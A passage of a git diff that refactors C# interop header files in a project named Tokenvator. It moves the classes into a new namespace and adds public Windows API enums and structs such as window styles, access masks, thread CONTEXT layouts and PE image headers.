0x20000000L, + WS_MAXIMIZE = 0x01000000L, + WS_MAXIMIZEBOX = 0x00010000L, + WS_MINIMIZE = 0x20000000L, + WS_MINIMIZEBOX = 0x00020000L, + WS_OVERLAPPED = 0x00000000L, + WS_OVERLAPPEDWINDOW = (WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX), + WS_POPUP = 0x80000000L, + WS_POPUPWINDOW = (WS_POPUP | WS_BORDER | WS_SYSMENU), + WS_SIZEBOX = 0x00040000L, + WS_SYSMENU = 0x00080000L, + WS_TABSTOP = 0x00010000L, + WS_THICKFRAME = 0x00040000L, + WS_TILED = 0x00000000L, + WS_TILEDWINDOW = (WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX), + WS_VISIBLE = 0x10000000L, + WS_VSCROLL = 0x00200000L + } + + [Flags] + public enum WindowStylesEx : long + { + WS_EX_ACCEPTFILES = 0x00000010L, + WS_EX_APPWINDOW = 0x00040000L, + WS_EX_CLIENTEDGE = 0x00000200L, + WS_EX_COMPOSITED = 0x02000000L, + WS_EX_CONTEXTHELP = 0x00000400L, + WS_EX_CONTROLPARENT = 0x00010000L, + WS_EX_DLGMODALFRAME = 0x00000001L, + WS_EX_LAYERED = 0x00080000, + WS_EX_LAYOUTRTL = 0x00400000L, + WS_EX_LEFT = 0x00000000L, + WS_EX_LEFTSCROLLBAR = 0x00004000L, + WS_EX_LTRREADING = 0x00000000L, + WS_EX_MDICHILD = 0x00000040L, + WS_EX_NOACTIVATE = 0x08000000L, + WS_EX_NOINHERITLAYOUT = 0x00100000L, + WS_EX_NOPARENTNOTIFY = 0x00000004L, + WS_EX_NOREDIRECTIONBITMAP = 0x00200000L, + WS_EX_OVERLAPPEDWINDOW = (WS_EX_WINDOWEDGE | WS_EX_CLIENTEDGE), + WS_EX_PALETTEWINDOW = (WS_EX_WINDOWEDGE | WS_EX_TOOLWINDOW | WS_EX_TOPMOST), + WS_EX_RIGHT = 0x00001000L, + WS_EX_RIGHTSCROLLBAR = 0x00000000L, + WS_EX_RTLREADING = 0x00002000L, + WS_EX_STATICEDGE = 0x00020000L, + WS_EX_TOOLWINDOW = 0x00000080L, + WS_EX_TOPMOST = 0x00000008L, + WS_EX_TRANSPARENT = 0x00000020L, + WS_EX_WINDOWEDGE = 0x00000100L + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct WNDCLASSEX + { + [MarshalAs(UnmanagedType.U4)] + public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] + public UInt32 style; + public IntPtr lpfnWndProc; // not WndProc + public Int32 cbClsExtra; + public Int32 cbWndExtra; + public IntPtr hInstance; + public IntPtr hIcon; + public IntPtr hCursor; + public IntPtr hbrBackground; + public String lpszMenuName; + public String lpszClassName; + public IntPtr hIconSm; + + public static WNDCLASSEX Build() + { + var nw = new WNDCLASSEX(); + nw.cbSize = (UInt32)Marshal.SizeOf(typeof(WNDCLASSEX)); + return nw; + } + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/ntsecapi.cs b/Tokenvator/Resources/Unmanaged/Headers/ntsecapi.cs index b6088cf..e22cc7f 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/ntsecapi.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/ntsecapi.cs @@ -17,7 +17,7 @@ using SIZE_T = System.IntPtr; using PWSTR = System.IntPtr; -namespace Tokenvator +namespace Unmanaged.Headers { class ntsecapi { @@ -41,7 +41,7 @@ public struct _LSA_LAST_INTER_LOGON_INFO public struct _SECURITY_LOGON_SESSION_DATA { public ULONG Size; - public Structs._LUID LogonId; + public Winnt._LUID LogonId; public _LSA_UNICODE_STRING UserName; public _LSA_UNICODE_STRING LogonDomain; public _LSA_UNICODE_STRING AuthenticationPackage; diff --git a/Tokenvator/Resources/Unmanaged/Headers/winbase.cs b/Tokenvator/Resources/Unmanaged/Headers/winbase.cs index c2b3118..fd7db74 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/winbase.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/winbase.cs @@ -1,4 +1,7 @@ -using System.Runtime.InteropServices; +using System; +using System.Runtime.InteropServices; + +using BOOL = System.Boolean; using WORD = System.UInt16; using DWORD = System.UInt32; @@ -7,14 +10,122 @@ using LPVOID = System.IntPtr; using DWORD_PTR = System.IntPtr; -namespace Tokenvator +namespace Unmanaged.Headers { - public class Winbase + sealed class Winbase { + //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx + [Flags] + public enum CREATION_FLAGS : uint + { + NONE = 0x0, + CREATE_DEFAULT_ERROR_MODE = 0x04000000, + CREATE_NEW_CONSOLE = 0x00000010, + CREATE_NEW_PROCESS_GROUP = 0x00000200, + CREATE_SEPARATE_WOW_VDM = 0x00000800, + CREATE_SUSPENDED = 0x00000004, + CREATE_UNICODE_ENVIRONMENT = 0x00000400, + EXTENDED_STARTUPINFO_PRESENT = 0x00080000 + } + + [Flags] + public enum INFO_PROCESSOR_ARCHITECTURE : ushort + { + PROCESSOR_ARCHITECTURE_INTEL = 0, + PROCESSOR_ARCHITECTURE_ARM = 5, + PROCESSOR_ARCHITECTURE_IA64 = 6, + PROCESSOR_ARCHITECTURE_AMD64 = 9, + PROCESSOR_ARCHITECTURE_ARM64 = 12, + PROCESSOR_ARCHITECTURE_UNKNOWN = 0xffff + } + + [Flags] + public enum OPEN_MODE : uint + { + PIPE_ACCESS_INBOUND = 0x00000001, + PIPE_ACCESS_OUTBOUND = 0x00000002, + PIPE_ACCESS_DUPLEX = 0x00000003, + WRITE_DAC = 0x00040000, + WRITE_OWNER = 0x00080000, + FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000, + ACCESS_SYSTEM_SECURITY = 0x01000000, + FILE_FLAG_OVERLAPPED = 0x40000000, + FILE_FLAG_WRITE_THROUGH = 0x80000000 + } + + [Flags] + public enum PIPE_MODE : uint + { + PIPE_TYPE_BYTE = 0x00000000, + PIPE_TYPE_MESSAGE = 0x00000004, + PIPE_READMODE_BYTE = 0x00000000, + PIPE_READMODE_MESSAGE = 0x00000002, + PIPE_WAIT = 0x00000000, + PIPE_NOWAIT = 0x00000001, + PIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000, + PIPE_REJECT_REMOTE_CLIENTS = 0x00000008 + } + + [Flags] + public enum LOGON_FLAGS + { + LOGON_WITH_PROFILE = 0x00000001, + LOGON_NETCREDENTIALS_ONLY = 0x00000002 + } + + //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx + [StructLayout(LayoutKind.Sequential)] + public struct _PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public UInt32 dwProcessId; + public UInt32 dwThreadId; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct _SECURITY_ATTRIBUTES + { + public DWORD nLength; + public LPVOID lpSecurityDescriptor; + public BOOL bInheritHandle; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _STARTUPINFO + { + public UInt32 cb; + public String lpReserved; + public String lpDesktop; + public String lpTitle; + public UInt32 dwX; + public UInt32 dwY; + public UInt32 dwXSize; + public UInt32 dwYSize; + public UInt32 dwXCountChars; + public UInt32 dwYCountChars; + public UInt32 dwFillAttribute; + public UInt32 dwFlags; + public UInt16 wShowWindow; + public UInt16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + }; + + //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx + [StructLayout(LayoutKind.Sequential)] + public struct _STARTUPINFOEX + { + _STARTUPINFO StartupInfo; + // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; + }; + [StructLayout(LayoutKind.Sequential)] - internal struct _SYSTEM_INFO + public struct _SYSTEM_INFO { - public WORD wProcessorArchitecture; + public INFO_PROCESSOR_ARCHITECTURE wProcessorArchitecture; public WORD wReserved; public DWORD dwPageSize; public LPVOID lpMinimumApplicationAddress; diff --git a/Tokenvator/Resources/Unmanaged/Headers/wincrypt.cs b/Tokenvator/Resources/Unmanaged/Headers/wincrypt.cs index ee686ff..648bf2a 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/wincrypt.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/wincrypt.cs @@ -14,24 +14,24 @@ using DWORD_PTR = System.IntPtr; using SIZE_T = System.IntPtr; -namespace Tokenvator +namespace Unmanaged.Headers { - public class Wincrypt + sealed class Wincrypt { [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTOAPI_BLOB + public struct _CRYPTOAPI_BLOB { public DWORD cbData; public BYTE pbData; } [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTPROTECT_PROMPTSTRUCT + public struct _CRYPTPROTECT_PROMPTSTRUCT { - public DWORD cbSize; - public DWORD dwPromptFlags; - public HWND hwndApp; - public LPCWSTR szPrompt; + public DWORD cbSize; + public DWORD dwPromptFlags; + public HWND hwndApp; + public LPCWSTR szPrompt; } } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/winnt.cs b/Tokenvator/Resources/Unmanaged/Headers/winnt.cs index 3acd175..b478dc7 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/winnt.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/winnt.cs @@ -1,53 +1,541 @@ -using System.Runtime.InteropServices; +using System; +using System.Runtime.InteropServices; using WORD = System.UInt16; +using LONG = System.UInt32; using DWORD = System.UInt32; using QWORD = System.UInt64; using ULONGLONG = System.UInt64; using LARGE_INTEGER = System.UInt64; +using PSID = System.IntPtr; + using PVOID = System.IntPtr; using LPVOID = System.IntPtr; using DWORD_PTR = System.IntPtr; using SIZE_T = System.IntPtr; -namespace Tokenvator +namespace Unmanaged.Headers { - public class Winnt + sealed class Winnt { - //////////////////////////////////////////////////////////////////////////////// + private const DWORD ANYSIZE_ARRAY = 1; + + private const DWORD EXCEPTION_MAXIMUM_PARAMETERS = 15; + + public const DWORD PRIVILEGE_SET_ALL_NECESSARY = 1; + + [Flags] // https://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx - //////////////////////////////////////////////////////////////////////////////// - public const DWORD PAGE_NOACCESS = 0x01; - public const DWORD PAGE_READONLY = 0x02; - public const DWORD PAGE_READWRITE = 0x04; - public const DWORD PAGE_WRITECOPY = 0x08; - public const DWORD PAGE_EXECUTE = 0x10; - public const DWORD PAGE_EXECUTE_READ = 0x20; - public const DWORD PAGE_EXECUTE_READWRITE = 0x40; - public const DWORD PAGE_EXECUTE_WRITECOPY = 0x80; - public const DWORD PAGE_GUARD = 0x100; - public const DWORD PAGE_NOCACHE = 0x200; - public const DWORD PAGE_WRITECOMBINE = 0x400; - public const DWORD PAGE_TARGETS_INVALID = 0x40000000; - public const DWORD PAGE_TARGETS_NO_UPDATE = 0x40000000; - - internal enum _SECURITY_IMPERSONATION_LEVEL - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation - } - - internal enum TOKEN_TYPE + public enum MEMORY_PROTECTION_CONSTANTS : uint { - TokenPrimary = 1, - TokenImpersonation + PAGE_NOACCESS = 0x01, + PAGE_READONLY = 0x02, + PAGE_READWRITE = 0x04, + PAGE_WRITECOPY = 0x08, + PAGE_EXECUTE = 0x10, + PAGE_EXECUTE_READ = 0x20, + PAGE_EXECUTE_READWRITE = 0x40, + PAGE_EXECUTE_WRITECOPY = 0x80, + PAGE_GUARD = 0x100, + PAGE_NOCACHE = 0x200, + PAGE_WRITECOMBINE = 0x400, + PAGE_TARGETS_INVALID = 0x40000000, + PAGE_TARGETS_NO_UPDATE = 0x40000000 + } + + [Flags] + //https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx + public enum TokenPrivileges : uint + { + SE_PRIVILEGE_NONE = 0x0, + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1, + SE_PRIVILEGE_ENABLED = 0x2, + SE_PRIVILEGE_REMOVED = 0x4, + SE_PRIVILEGE_USED_FOR_ACCESS = 0x3 + } + + [Flags] + public enum ACCESS_MASK : uint + { + DELETE = 0x00010000, + READ_CONTROL = 0x00020000, + WRITE_DAC = 0x00040000, + WRITE_OWNER = 0x00080000, + SYNCHRONIZE = 0x00100000, + STANDARD_RIGHTS_REQUIRED = 0x000F0000, + STANDARD_RIGHTS_READ = 0x00020000, + STANDARD_RIGHTS_WRITE = 0x00020000, + STANDARD_RIGHTS_EXECUTE = 0x00020000, + STANDARD_RIGHTS_ALL = 0x001F0000, + SPECIFIC_RIGHTS_ALL = 0x0000FFF, + ACCESS_SYSTEM_SECURITY = 0x01000000, + MAXIMUM_ALLOWED = 0x02000000, + GENERIC_READ = 0x80000000, + GENERIC_WRITE = 0x40000000, + GENERIC_EXECUTE = 0x20000000, + GENERIC_ALL = 0x10000000, + DESKTOP_READOBJECTS = 0x00000001, + DESKTOP_CREATEWINDOW = 0x00000002, + DESKTOP_CREATEMENU = 0x00000004, + DESKTOP_HOOKCONTROL = 0x00000008, + DESKTOP_JOURNALRECORD = 0x00000010, + DESKTOP_JOURNALPLAYBACK = 0x00000020, + DESKTOP_ENUMERATE = 0x00000040, + DESKTOP_WRITEOBJECTS = 0x00000080, + DESKTOP_SWITCHDESKTOP = 0x00000100, + WINSTA_ENUMDESKTOPS = 0x00000001, + WINSTA_READATTRIBUTES = 0x00000002, + WINSTA_ACCESSCLIPBOARD = 0x00000004, + WINSTA_CREATEDESKTOP = 0x00000008, + WINSTA_WRITEATTRIBUTES = 0x00000010, + WINSTA_ACCESSGLOBALATOMS = 0x00000020, + WINSTA_EXITWINDOWS = 0x00000040, + WINSTA_ENUMERATE = 0x00000100, + WINSTA_READSCREEN = 0x00000200, + WINSTA_ALL_ACCESS = 0x0000037F + }; + + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT + { + public CONTEXT_FLAGS ContextFlags; //set this to an appropriate value + // Retrieved by CONTEXT_DEBUG_REGISTERS + public uint Dr0; + public uint Dr1; + public uint Dr2; + public uint Dr3; + public uint Dr6; + public uint Dr7; + // Retrieved by CONTEXT_FLOATING_POINT + public _FLOATING_SAVE_AREA FloatSave; + // Retrieved by CONTEXT_SEGMENTS + public uint SegGs; + public uint SegFs; + public uint SegEs; + public uint SegDs; + // Retrieved by CONTEXT_INTEGER + public uint Edi; + public uint Esi; + public uint Ebx; + public uint Edx; + public uint Ecx; + public uint Eax; + // Retrieved by CONTEXT_CONTROL + public uint Ebp; + public uint Eip; + public uint SegCs; + public uint EFlags; + public uint Esp; + public uint SegSs; + // Retrieved by CONTEXT_EXTENDED_REGISTERS + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] + public byte[] ExtendedRegisters; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT64 + { + public ulong P1Home; + public ulong P2Home; + public ulong P3Home; + public ulong P4Home; + public ulong P5Home; + public ulong P6Home; + + public CONTEXT_FLAGS64 ContextFlags; + public uint MxCsr; + + public ushort SegCs; + public ushort SegDs; + public ushort SegEs; + public ushort SegFs; + public ushort SegGs; + public ushort SegSs; + public uint EFlags; + + public ulong Dr0; + public ulong Dr1; + public ulong Dr2; + public ulong Dr3; + public ulong Dr6; + public ulong Dr7; + + public ulong Rax; + public ulong Rcx; + public ulong Rdx; + public ulong Rbx; + public ulong Rsp; + public ulong Rbp; + public ulong Rsi; + public ulong Rdi; + public ulong R8; + public ulong R9; + public ulong R10; + public ulong R11; + public ulong R12; + public ulong R13; + public ulong R14; + public ulong R15; + + public ulong Rip; + + public _XMM_SAVE_AREA32 FltSave; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] + public _M128A[] VectorRegister; + public ulong VectorControl; + + public ulong DebugControl; + public ulong LastBranchToRip; + public ulong LastBranchFromRip; + public ulong LastExceptionToRip; + public ulong LastExceptionFromRip; + } + + [Flags] + public enum CONTEXT_FLAGS : uint + { + CONTEXT_i386 = 0x10000, + CONTEXT_i486 = 0x10000, // same as i386 + CONTEXT_CONTROL = CONTEXT_i386 | 0x0001, // SS:SP, CS:IP, FLAGS, BP + CONTEXT_INTEGER = CONTEXT_i386 | 0x0002, // AX, BX, CX, DX, SI, DI + CONTEXT_SEGMENTS = CONTEXT_i386 | 0x0004, // DS, ES, FS, GS + CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x0008, // 387 state + CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x0010, // DB 0-3,6,7 + CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x0020, // cpu specific extensions + CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, + CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS + } + + [Flags] + public enum CONTEXT_FLAGS64 : uint + { + CONTEXT_AMD64 = 0x100000, + CONTEXT_CONTROL = CONTEXT_AMD64 | 0x01, // SS:SP, CS:IP, FLAGS, BP + CONTEXT_INTEGER = CONTEXT_AMD64 | 0x02, // AX, BX, CX, DX, SI, DI + CONTEXT_SEGMENTS = CONTEXT_AMD64 | 0x04, // DS, ES, FS, GS + CONTEXT_FLOATING_POINT = CONTEXT_AMD64 | 0x08, // 387 state + CONTEXT_DEBUG_REGISTERS = CONTEXT_AMD64 | 0x10, // DB 0-3,6,7 + CONTEXT_EXTENDED_REGISTERS = CONTEXT_AMD64 | 0x20, // cpu specific extensions + CONTEXT_FULL = 1048587,//CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, + CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS + } + + [StructLayout(LayoutKind.Sequential)] + public struct _EXCEPTION_POINTERS + { + public System.IntPtr ExceptionRecord; + public System.IntPtr ContextRecord; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _EXCEPTION_RECORD + { + public DWORD ExceptionCode; + public DWORD ExceptionFlags; + public System.IntPtr hExceptionRecord; + public PVOID ExceptionAddress; + public DWORD NumberParameters; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15)] + public DWORD[] ExceptionInformation; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _FLOATING_SAVE_AREA + { + public DWORD ControlWord; + public DWORD StatusWord; + public DWORD TagWord; + public DWORD ErrorOffset; + public DWORD ErrorSelector; + public DWORD DataOffset; + public DWORD DataSelector; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] + public byte[] RegisterArea; + public DWORD Cr0NpxState; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_BASE_RELOCATION + { + public DWORD VirtualAdress; + public DWORD SizeOfBlock; + } + + [Flags] + public enum TypeOffset : ushort + { + IMAGE_REL_BASED_ABSOLUTE = 0, + IMAGE_REL_BASED_HIGH = 1, + IMAGE_REL_BASED_LOW = 2, + IMAGE_REL_BASED_HIGHLOW = 3, + IMAGE_REL_BASED_HIGHADJ = 4, + IMAGE_REL_BASED_MIPS_JMPADDR = 5, + IMAGE_REL_BASED_ARM_MOV32A = 5, + IMAGE_REL_BASED_ARM_MOV32 = 5, + IMAGE_REL_BASED_SECTION = 6, + IMAGE_REL_BASED_REL = 7, + IMAGE_REL_BASED_ARM_MOV32T = 7, + IMAGE_REL_BASED_THUMB_MOV32 = 7, + IMAGE_REL_BASED_MIPS_JMPADDR16 = 9, + IMAGE_REL_BASED_IA64_IMM64 = 9, + IMAGE_REL_BASED_DIR64 = 10, + IMAGE_REL_BASED_HIGH3ADJ = 11 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_DATA_DIRECTORY + { + public DWORD VirtualAddress; + public DWORD Size; + }; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html + public struct _IMAGE_DOS_HEADER + { + public WORD e_magic; + public WORD e_cblp; + public WORD e_cp; + public WORD e_crlc; + public WORD e_cparhdr; + public WORD e_minalloc; + public WORD e_maxalloc; + public WORD e_ss; + public WORD e_sp; + public WORD e_csum; + public WORD e_ip; + public WORD e_cs; + public WORD e_lfarlc; + public WORD e_ovno; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public WORD[] e_res; + public WORD e_oemid; + public WORD e_oeminfo; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + public WORD[] e_res2; + public LONG e_lfanew; + }; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_image_nt_headers + public struct _IMAGE_NT_HEADERS + { + public DWORD Signature; + public _IMAGE_FILE_HEADER FileHeader; + public _IMAGE_OPTIONAL_HEADER OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_NT_HEADERS64 + { + public DWORD Signature; + public _IMAGE_FILE_HEADER FileHeader; + public _IMAGE_OPTIONAL_HEADER64 OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_image_file_header + public struct _IMAGE_FILE_HEADER + { + public IMAGE_FILE_MACHINE Machine; + public WORD NumberOfSections; + public DWORD TimeDateStamp; + public DWORD PointerToSymbolTable; + public DWORD NumberOfSymbols; + public WORD SizeOfOptionalHeader; + public CHARACTERISTICS Characteristics; + } + + [Flags] + public enum IMAGE_FILE_MACHINE : ushort + { + IMAGE_FILE_MACHINE_I386 = 0x014c, + IMAGE_FILE_MACHINE_IA64 = 0x0200, + IMAGE_FILE_MACHINE_AMD64 = 0x8664, + } + + [Flags] + public enum CHARACTERISTICS : ushort + { + IMAGE_FILE_RELOCS_STRIPPED = 0x0001, + IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002, + IMAGE_FILE_LINE_NUMS_STRIPPED = 0x0004, + IMAGE_FILE_LOCAL_SYMS_STRIPPED = 0x0008, + IMAGE_FILE_AGGRESIVE_WS_TRIM = 0x0010, + IMAGE_FILE_LARGE_ADDRESS_AWARE = 0x0020, + IMAGE_FILE_BYTES_REVERSED_LO = 0x0080, + IMAGE_FILE_32BIT_MACHINE = 0x0100, + IMAGE_FILE_DEBUG_STRIPPED = 0x0200, + IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = 0x0400, + IMAGE_FILE_NET_RUN_FROM_SWAP = 0x0800, + IMAGE_FILE_SYSTEM = 0x1000, + IMAGE_FILE_DLL = 0x2000, + IMAGE_FILE_UP_SYSTEM_ONLY = 0x4000, + IMAGE_FILE_BYTES_REVERSED_HI = 0x8000 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_image_optional_header + public struct _IMAGE_OPTIONAL_HEADER + { + public MAGIC Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public DWORD SizeOfCode; + public DWORD SizeOfInitializedData; + public DWORD SizeOfUninitializedData; + public DWORD AddressOfEntryPoint; + public DWORD BaseOfCode; + public DWORD BaseOfData; + public DWORD ImageBase; + public DWORD SectionAlignment; + public DWORD FileAlignment; + public WORD MajorOperatingSystemVersion; + public WORD MinorOperatingSystemVersion; + public WORD MajorImageVersion; + public WORD MinorImageVersion; + public WORD MajorSubsystemVersion; + public WORD MinorSubsystemVersion; + public DWORD Win32VersionValue; + public DWORD SizeOfImage; + public DWORD SizeOfHeaders; + public DWORD CheckSum; + public SUBSYSTEM Subsystem; + public DLL_CHARACTERISTICS DllCharacteristics; + public DWORD SizeOfStackReserve; + public DWORD SizeOfStackCommit; + public DWORD SizeOfHeapReserve; + public DWORD SizeOfHeapCommit; + public DWORD LoaderFlags; + public DWORD NumberOfRvaAndSizes; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public Winnt._IMAGE_DATA_DIRECTORY[] ImageDataDirectory; + }; + + //https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_image_optional_header + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_OPTIONAL_HEADER64 + { + public MAGIC Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public DWORD SizeOfCode; + public DWORD SizeOfInitializedData; + public DWORD SizeOfUninitializedData; + public DWORD AddressOfEntryPoint; + public DWORD BaseOfCode; + public ULONGLONG ImageBase; + public DWORD SectionAlignment; + public DWORD FileAlignment; + public WORD MajorOperatingSystemVersion; + public WORD MinorOperatingSystemVersion; + public WORD MajorImageVersion; + public WORD MinorImageVersion; + public WORD MajorSubsystemVersion; + public WORD MinorSubsystemVersion; + public DWORD Win32VersionValue; + public DWORD SizeOfImage; + public DWORD SizeOfHeaders; + public DWORD CheckSum; + public SUBSYSTEM Subsystem; + public DLL_CHARACTERISTICS DllCharacteristics; + public ULONGLONG SizeOfStackReserve; + public ULONGLONG SizeOfStackCommit; + public ULONGLONG SizeOfHeapReserve; + public ULONGLONG SizeOfHeapCommit; + public DWORD LoaderFlags; + public DWORD NumberOfRvaAndSizes; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public Winnt._IMAGE_DATA_DIRECTORY[] ImageDataDirectory; + }; + + [Flags] + public enum MAGIC : ushort + { + IMAGE_NT_OPTIONAL_HDR_MAGIC = 0x00, + IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, + IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b, + IMAGE_ROM_OPTIONAL_HDR_MAGIC = 0x107 + } + + [Flags] + public enum SUBSYSTEM : ushort + { + //IMAGE_SUBSYSTEM_UNKNOWN = 0, + IMAGE_SUBSYSTEM_NATIVE = 1, + IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, + IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, + IMAGE_SUBSYSTEM_OS2_CUI = 5, + IMAGE_SUBSYSTEM_POSIX_CUI = 7, + IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, + IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, + IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, + IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, + IMAGE_SUBSYSTEM_EFI_ROM = 13, + IMAGE_SUBSYSTEM_XBOX = 14, + IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION = 16 + } + + [Flags] + public enum DLL_CHARACTERISTICS : ushort + { + Reserved1 = 0x0001, + Reserved2 = 0x0002, + Reserved4 = 0x0004, + Reserved8 = 0x0008, + IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040, + IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY = 0x0080, + IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100, + IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, + IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, + IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, + Reserved1000 = 0x1000, + IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, + Reserved4000 = 0x4000, + IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _IMAGE_SECTION_HEADER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public Char[] Name; + public DWORD VirtualSize; + public DWORD VirtualAddress; + public DWORD SizeOfRawData; + public DWORD PointerToRawData; + public DWORD PointerToRelocations; + public DWORD PointerToLinenumbers; + public WORD NumberOfRelocations; + public WORD NumberOfLinenumbers; + public DWORD Characteristics; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct _LUID + { + public DWORD LowPart; + public DWORD HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _LUID_AND_ATTRIBUTES + { + public _LUID Luid; + public DWORD Attributes; } [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION32 + public struct _M128A + { + public UInt64 High; + public Int64 Low; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MEMORY_BASIC_INFORMATION { public DWORD BaseAddress; public DWORD AllocationBase; @@ -59,7 +547,7 @@ internal struct _MEMORY_BASIC_INFORMATION32 } [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION64 + public struct _MEMORY_BASIC_INFORMATION64 { public ULONGLONG BaseAddress; public ULONGLONG AllocationBase; @@ -67,24 +555,205 @@ internal struct _MEMORY_BASIC_INFORMATION64 public DWORD __alignment1; public ULONGLONG RegionSize; public DWORD State; - public DWORD Protect; + public MEMORY_PROTECTION_CONSTANTS Protect; public DWORD Type; public DWORD __alignment2; } + //https://msdn.microsoft.com/en-us/library/ms809762.aspx + [StructLayout(LayoutKind.Sequential, Pack = 1)] + internal struct _IMAGE_IMPORT_DESCRIPTOR + { + public DWORD Characteristics; + public DWORD TimeDateStamp; + public DWORD ForwarderChain; + public DWORD Name; + public DWORD FirstThunk; + } + + + [StructLayout(LayoutKind.Sequential)] + public struct _PRIVILEGE_SET + { + public DWORD PrivilegeCount; + public DWORD Control; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = (Int32)ANYSIZE_ARRAY)] + public 